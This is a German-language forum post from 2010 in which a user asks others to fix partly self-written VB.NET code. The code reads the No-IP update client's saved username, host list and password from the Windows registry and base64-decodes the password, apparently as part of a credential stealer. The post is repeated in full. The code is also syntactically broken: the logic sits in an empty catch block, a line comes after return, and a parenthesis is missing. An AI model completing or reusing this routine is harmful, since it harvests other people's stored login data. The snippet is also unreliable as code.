Slawa
10.03.2010, 14:25
Hallo an alle, ich habe hier ein Source code (Teilweise selbst geschrieben), könnte sich das jemand anschauen, wo ist hier der fehler, bzw. ich komme hier nicht klar.
Code:
PublicFunction NOIP() AsString
Try
Catch ex AsException
Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Username", Nothing)
Dim Hosts AsString = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Hosts", Nothing)
Dim Password AsString = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Password", Nothing)
Hosts = Hosts.Replace("#,", vbNewLine)
Hosts = Hosts.Replace("|", Nothing)
EndTry
EndFunction
Function DecryptBase64(ByVal Input As String) As String
On Error Resume Next
Dim InputByte() As Byte = System.Convert.FromBase64String(Input)
Return System.Text.Encoding.Default.GetString(InputByte)
Password = DecryptBase64(Password
End Function
EDIT: Bei mir kommt ein ERROR, was mache ich an dem code falsch, ausgelesen habe ich das richtig, aber das mit decrypten verstehe ich nicht s ganz, das kann bestimmt mir jemand erklären?
Code:
PublicFunction NOIP() AsString
Try
Catch ex AsException
Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Username", Nothing)
Dim Hosts AsString = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Hosts", Nothing)
Dim Password AsString = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Password", Nothing)
Hosts = Hosts.Replace("#,", vbNewLine)
Hosts = Hosts.Replace("|", Nothing)
EndTry
EndFunction
Function DecryptBase64(ByVal Input As String) As String
On Error Resume Next
Dim InputByte() As Byte = System.Convert.FromBase64String(Input)
Return System.Text.Encoding.Default.GetString(InputByte)
Password = DecryptBase64(Password
End Function
EDIT: Bei mir kommt ein ERROR, was mache ich an dem code falsch, ausgelesen habe ich das richtig, aber das mit decrypten verstehe ich nicht s ganz, das kann bestimmt mir jemand erklären?